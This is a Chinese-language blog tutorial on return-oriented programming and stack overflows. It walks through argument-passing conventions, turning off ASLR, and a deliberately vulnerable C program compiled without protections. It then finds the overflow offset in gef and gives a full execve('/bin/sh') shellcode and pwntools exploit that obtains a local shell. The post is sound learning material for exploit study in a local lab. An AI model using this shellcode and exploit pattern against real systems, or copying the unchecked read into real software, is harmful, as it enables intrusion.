9 分钟读完

前言

最近被老板分配了复现SGX相关攻击的任务。里面用到了ROP技术,奈何本人之前从未做过二进制以及逆向工程相关的工作,遂从0开始学习ROP技术。网上相关的教程很多,但是完全从0开始讲起的很少。本文旨在回顾自己之前尝试过的ROP攻击,按照自己的思路从0讲起并作以记录。

本人是主要根据原乌云知识库的文章去学习的(奈何现在已经摸了),蒸米大神的一步一步学ROP

  1. https://wooyun.js.org/drops/%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5%E5%AD%A6ROP%E4%B9%8Blinux_x64%E7%AF%87.html
  2. http://drops.xmd5.com/static/drops/tips-6597.html
  3. https://github.com/zhengmin1989/ROP_STEP_BY_STEP

不过这几篇文章假设了读者对于二进制的运行,编译有较强的背景知识,对于新手不是很友好归根结底还是自己太菜。本文只假设笔者了解基本的X86汇编指令,所有实验均在linux环境下执行。

背景知识

什么是ROP

Return oriented programming, 即返回导向编程。这个名字听上去非常的拗口以至于我看中文久久不知道它在说什么。而英文就很简单:顾名思义,根据return来编程。这里主要是针对指令ret来做文章的。ret会做一件事情:pop IP,即把栈顶的数据复制给instruction pointer,从而实现程序的跳转,即函数的返回。那么当我们能够控制栈时,我们就能够控制程序的跳转,从而实现攻击了。

Stack

memory structure

如图所示为程序在运行时的内存情况。栈从高地址向低地址增长,故在push时sp减少,在pop时sp增加。栈溢出便是指的程序在内存中的数据覆盖到了栈顶,即图中stack最下面的内存单元。若存在溢出漏洞,则可以控制栈,从而构造ret指令的返回地址控制程序执行。

参数传递

为什么我们需要知道参数传递的方式呢?记住我们的目的是让程序在ret之后能够执行我们所期望的代码,达到控制计算机的目的。而若想要达到这个目的,调用系统的一些函数则是必须的,例如system(“/bin/sh“)即可帮我们达到反弹一个shell回来的目的。然而我们无法单纯地只执行system函数,还要给它赋予参数”/bin/sh”。当我们知道了参数的传递方式之后,通过栈溢出的方式重构里面的内容即可让程序按照我们期望的形状执行。

x86和x64的参数传递方式是略有区别的。前者是将所有参数压栈传递,后者会将前六个参数依次传递到寄存器rdi, esi, edx, ecx, r8d, r9d中,其余如果还有参数便压栈传递。下面我们简单地验证一下。

我们的简单的源程序如下,printf接受⑨个参数输出:

#include<stdio.h>

int main(){
    printf("there are 8 digits here: %d, %d, %d, %d, %d, %d, %d, %d", 1, 2, 3, 4, 5, 6, 7, 8);
    return 1;
}

想要看到生成的汇编指令,执行:

$ gcc -S ./printf8.c [-m32]

m32为可选参数,用以生成32位的汇编程序。

生成的汇编程序如下:

x86

        .file   "x86simple.c"
        .text
        .section        .rodata
        .align 4
.LC0:
        .string "there are 8 digits here: %d, %d, %d, %d, %d, %d, %d, %d"
        .text
        .globl  main
        .type   main, @function
main:
.LFB0:
        .cfi_startproc
        leal    4(%esp), %ecx
        .cfi_def_cfa 1, 0
        andl    $-16, %esp
        pushl   -4(%ecx)
        pushl   %ebp
        .cfi_escape 0x10,0x5,0x2,0x75,0
        movl    %esp, %ebp
        pushl   %ebx
        pushl   %ecx
        .cfi_escape 0xf,0x3,0x75,0x78,0x6
        .cfi_escape 0x10,0x3,0x2,0x75,0x7c
        call    __x86.get_pc_thunk.ax
        addl    $_GLOBAL_OFFSET_TABLE_, %eax
        subl    $12, %esp
        pushl   $8
        pushl   $7
        pushl   $6
        pushl   $5
        pushl   $4
        pushl   $3
        pushl   $2
        pushl   $1
        leal    .LC0@GOTOFF(%eax), %edx
        pushl   %edx
        movl    %eax, %ebx
        call    printf@PLT
        addl    $48, %esp
        movl    $1, %eax
        leal    -8(%ebp), %esp
        popl    %ecx
        .cfi_restore 1
        .cfi_def_cfa 1, 0
        popl    %ebx
        .cfi_restore 3
        popl    %ebp
        .cfi_restore 5
        leal    -4(%ecx), %esp
        .cfi_def_cfa 4, 4
        ret
        .cfi_endproc
.LFE0:
        .size   main, .-main
        .section        .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
        .globl  __x86.get_pc_thunk.ax
        .hidden __x86.get_pc_thunk.ax
        .type   __x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB1:
        .cfi_startproc
        movl    (%esp), %eax
        ret
        .cfi_endproc
.LFE1:
        .ident  "GCC: (GNU) 9.1.0"
        .section        .note.GNU-stack,"",@progbits

不难发现从1到8以及字符串在内的所有参数都被压入栈中。这里我们忽略以“.”开头的内容,因为这是gcc生成出来留给连接器使用的。

x86-64

        .file   "print8.c"
        .text
        .section        .rodata
        .align 8
.LC0:
        .string "there are 8 digits here: %d, %d, %d, %d, %d, %d, %d, %d"
        .text
        .globl  main
        .type   main, @function
main:
.LFB0:
        .cfi_startproc
        pushq   %rbp
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        movq    %rsp, %rbp
        .cfi_def_cfa_register 6
        subq    $8, %rsp
        pushq   $8
        pushq   $7
        pushq   $6
        movl    $5, %r9d
        movl    $4, %r8d
        movl    $3, %ecx
        movl    $2, %edx
        movl    $1, %esi
        leaq    .LC0(%rip), %rdi
        movl    $0, %eax
        call    printf@PLT
        addq    $32, %rsp
        movl    $1, %eax
        leave
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE0:
        .size   main, .-main
        .ident  "GCC: (GNU) 9.1.0"
        .section        .note.GNU-stack,"",@progbits

这里可以看到,在push了8,7,6之后,其余的参数被分别移植上述的寄存器中。

保护机制

系统级的保护机制便是ASLR。其他的保护机制可以通过checksec命令查看,该命令在pwntools这一python包内包含。尝试运行其以获得关于程序安全保护的相关信息:

➜  rop checksec ./a.out                                                                    
[*] '/home/ya0guang/Code_obo/rop/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

其中Arch代表二进制程序运行机器的架构,其他参数都可以Google解决,这里不再赘述。

若想要关闭(或打开)系统级的ASLR防护,可以采用如下命令:

# stop ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# enable ASLR
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

实践

这里主要按照一步一步学ROP中的实验来进行。强烈建议安装gef来替代gdb完成调试工作。gef document

x86 ROP 101

使用前文中GitHub repo中的代码来测试,代码如下:

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World\n", 13);
}

为了使编译出来的程序尽可能地好被攻击,使用编译选项:

gcc -fno-stack-protector -z execstack -no-pie -o level1 level1.c -m32
# 原文中使用的是下面的命令
gcc -fno-stack-protector -z execstack -o level1 level1.c

这里由于大神的文章是四年之前的,gcc的编译默认选项在这期间发生了变化。如果我们使用checksec去检查文件的安全性,会发现我们编译出来的文件和github仓库的安全选项不一样,区别就在PIE这一项上坑了我一个晚上。另外注意在64位系统上实验时,需要加上-m32选项这年头谁还用32位啊

[*] '/home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x86/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments                                    
➜  linux_x86 git:(master) ✗ gcc -fno-stack-protector -z execstack -o level1 level1.c
➜  linux_x86 git:(master) ✗ checksec ./level1                                       
[*] '/home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x86/level1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
➜  linux_x86 git:(master) ✗ gcc -fno-stack-protector -z execstack -no-pie -o level1 level1.c -m32
➜  linux_x86 git:(master) ✗ checksec ./level1                                                    
[*] '/home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x86/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

不难发现其中vulnerable_function是有漏洞的:read函数试图从STDIN_FILENO中读了超过buf数组的长度的内容到buf中,而这是有可能导致栈溢出的。为了尝试是否存在栈溢出的漏洞,我们使用gdb(gef)尝试输入大量字符:

寻找溢出点

先使用gdb打开程序进行调试。pattern create 150将创建一个长度为150的字符串,这个字符串将在后面用以确定溢出点的位置。 输入r(run)运行程序,程序将暂停等待用户输入,此时我们输入刚刚生成的字符串进去,会发现程序出现了segmentation fault

这里给出了出错的地址,0x6261616b。这个地址的来源是什么呢?就是刚刚我们输入的字符串造成了栈溢出导致ret时被pop出来的栈顶的内容赋值给了ip,即0x6261616b是这时的ip。而程序发现不知道这个位置在哪里跑飞了,便出现了段错误。因此我们需要定位到这个地址对应于刚刚输入进去的字符串的位置:pattern search 0x6261616b之后,可以看到偏移量(offset)为140,即在第140个字符处发生溢出。那我们构建溢出位置时,便需要在140个字符之后输入进去我们所期望的返回地址。

这里需要说明一下返回地址,即ret这条命令之后原本需要抵达的栈顶的地址是如何来的:在执行call指令时,CPU会先push返回地址(一般是call的下一条指令的地址),然后执行跳转。因此堆栈的顶部在call命令执行完毕之后实际上就成为了返回地址,其后紧跟着一堆参数。

$ gdb ./level1
gef➤  pattern create 150
[+] Generating a pattern of 150 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x86/level1 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma

Program received signal SIGSEGV, Segmentation fault.
0x6261616b in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x97      
$ebx   : 0x62616169 ("iaab"?)
$ecx   : 0xffffce20  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$edx   : 0x100     
$esp   : 0xffffceb0  →  "laabma"
$ebp   : 0x6261616a ("jaab"?)
$esi   : 0xf7f89e24  →  0x001dad2c
$edi   : 0xf7f89e24  →  0x001dad2c
$eip   : 0x6261616b ("kaab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffceb0│+0x0000: "laabma"$esp
0xffffceb4│+0x0004: 0x000a616d ("ma"?)
0xffffceb8│+0x0008: 0x00000000
0xffffcebc│+0x000c: 0xf7dcd8b9  →  <__libc_start_main+249> add esp, 0x10
0xffffcec0│+0x0010: 0xf7f89e24  →  0x001dad2c
0xffffcec4│+0x0014: 0xf7f89e24  →  0x001dad2c
0xffffcec8│+0x0018: 0x00000000
0xffffcecc│+0x001c: 0xf7dcd8b9  →  <__libc_start_main+249> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6261616b
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "level1", stopped, reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x97      
$ebx   : 0x62616169 ("iaab"?)
$ecx   : 0xffffce20  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$edx   : 0x100     
$esp   : 0xffffceb0  →  "laabma"
$ebp   : 0x6261616a ("jaab"?)
$esi   : 0xf7f89e24  →  0x001dad2c
$edi   : 0xf7f89e24  →  0x001dad2c
$eip   : 0x6261616b ("kaab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffceb0│+0x0000: "laabma"$esp
0xffffceb4│+0x0004: 0x000a616d ("ma"?)
0xffffceb8│+0x0008: 0x00000000
0xffffcebc│+0x000c: 0xf7dcd8b9  →  <__libc_start_main+249> add esp, 0x10
0xffffcec0│+0x0010: 0xf7f89e24  →  0x001dad2c
0xffffcec4│+0x0014: 0xf7f89e24  →  0x001dad2c
0xffffcec8│+0x0018: 0x00000000
0xffffcecc│+0x001c: 0xf7dcd8b9  →  <__libc_start_main+249> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6261616b
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "level1", stopped, reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  pattern search 0x6261616b
[+] Searching '0x6261616b'
[+] Found at offset 140 (little-endian search) likely

gef的输出内容虽然比较多,但是非常方便具体,而具体怎么有用还需各位看官自己体会。

构建payload

我们先从shellcode构建payload。而何为shellcod?顾名思义,能让你获得shell的code就是shellcode啦!那么我们应该如何构造shellcode呢?目前而言,我们能够控制的内容只有140个字符的输入以及一个返回地址,那么我们则希望让程序能够ret到我们能够控制的输入上。输入的字符串在内存中是可以被当作指令来执行的,因此我们希望控制输入的内容能够被执行。而获得shellcode的方式中很流行的便是system(“/bin/sh”)函数。但这是我们下一步进行ret2libc攻击的的目标。这里我们先使用文章中给出的shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

文章中并没有介绍这货到底干了什么,我们在此处简要的介绍一下。其“翻译”成汇编代码之后其实是长这样子的:

    xor eax, eax    ; reseting the register
    push eax    ; pushing null terminator
    push 0x68732f2f ; push /bin//sh
    push 0x6e69622f
    mov ebx, esp    ; ebx = /bin//sh
    push eax
    mov edx, esp    ; envp = 0
    push ebx
    mov ecx, esp    ; argv = [filename,0]
    mov al, 11  ; syscall 12 (execve)
    int 0x80    ; syscall
    ; source:http://www.expku.com/shellcode/8015.html

这样看上去是不是就舒多了?为了理解这段代码真正的含义,我们需要倒着去读。 int 0x80进行80号系统中断。我们并不需要理解中断到底是什么,它基本等价于一次比较特殊的函数调用,而linux仅仅使用了80一个软中断编号,这个中断所执行的函数叫做:执行一个syscall。而syscall的编号存放在al寄存器里面,即eax的低16位。细心的同学可能会注意到在push时,每一次push进去的东西的内容实际上是反着的,这实际上是内存中的大小端存储方式导致的。在这里我们不去纠结这个细节,pwntools里面的函数能够帮我们轻松完成人类识别的内存内容到机器识别的内存内容的转换。

通过这个网站能够查到al位11的syscall是第12个,即sys_execve。那么我们再跟进这个函数,查到其源码如下:

asmlinkage int sys_execve(struct pt_regs regs)
{
	int error;
	char * filename;
	filename = getname((char *) regs.ebx);
	error = PTR_ERR(filename);
	if (IS_ERR(filename))
		goto out;
	error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx, &regs);
	if (error == 0)
		current->ptrace &= ~PT_DTRACE;
	putname(filename);
out:
	return error;
}

通过阅读shellcode的汇编代码,可以发现其将“/bin/sh”与一个EOF压栈,作为参数传递给了函数sys_execve,而这个函数的作用是执行一个名为filename的文件,即打开一个文件。也就是说我们的shellcode其实就是在通过中断调用sys_execve这个函数,让其帮我们打开/bin/sh程序而已。

那么我们的payload便很简单了:

payload = shellcode + 一堆字符补足长度到140 + shellcode的起始地址

将这个payload作为用户输入载入内存中即可被执行。下一步要做的便是找到shellcode的起始地址。

寻找起始地址

这里基本上可以全部参考一步一步学ROP之linux_x86篇。笔者在尝试其中的代码时发现在ubuntu18.04 LTS环境下使用pwntools时,载入程序的地址会和直接开启core dump功能时的地址有微小区别,故而可以直接使用pwntools来进行core dump.

from pwn import *

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

p = process("./level1")
ret = 0xffffcea0
# 第一次运行时可以任意选择

payload = shellcode + b'A' * (140 - len(shellcode)) + p32(ret)
# p32()会帮你转换好地址在内存中存储的形状

p.send(payload)
p.interactive()
# 开启交互式命令行

开启core dump:

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
➜  linux_x86 git:(master) ✗ python ./pwn1.py
[+] Starting local process './level1': pid 4757
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ sodaod
[*] Process './level1' stopped with exit code -11 (SIGSEGV) (pid 4757)
[*] Got EOF while sending in interactive
➜  linux_x86 git:(master) ✗ gdb ./level1 /tmp/core.1570062471.4757 
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xaaaaaaaa in ?? ()
gef➤  x/10s $esp-144
0xffffcea0:     "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀", 'A' <repeats 115 times>, "\252\252\252\252P\317\377\377"
0xffffcf35:     ""
0xffffcf36:     ""
0xffffcf37:     ""
0xffffcf38:     ""
0xffffcf39:     ""
0xffffcf3a:     ""
0xffffcf3b:     ""
0xffffcf3c:     "\271\330\334\367$\236\370\367$\236\370", <incomplete sequence \367>
0xffffcf49:     ""
gef➤  quit
➜  linux_x86 git:(master) ✗ python ./pwn1.py                     
[+] Starting local process './level1': pid 4816
[*] Switching to interactive mode
$ whoami
ya0guang
$  

我们一开始不知道ret的地址时可以先随便写一个,执行后生成core dump文件。再用gdb打开它,查询$esp-144位置的地址,填入rer即可。 再次运行脚本,发现此时已经拿到了shell,pwned!

留下评论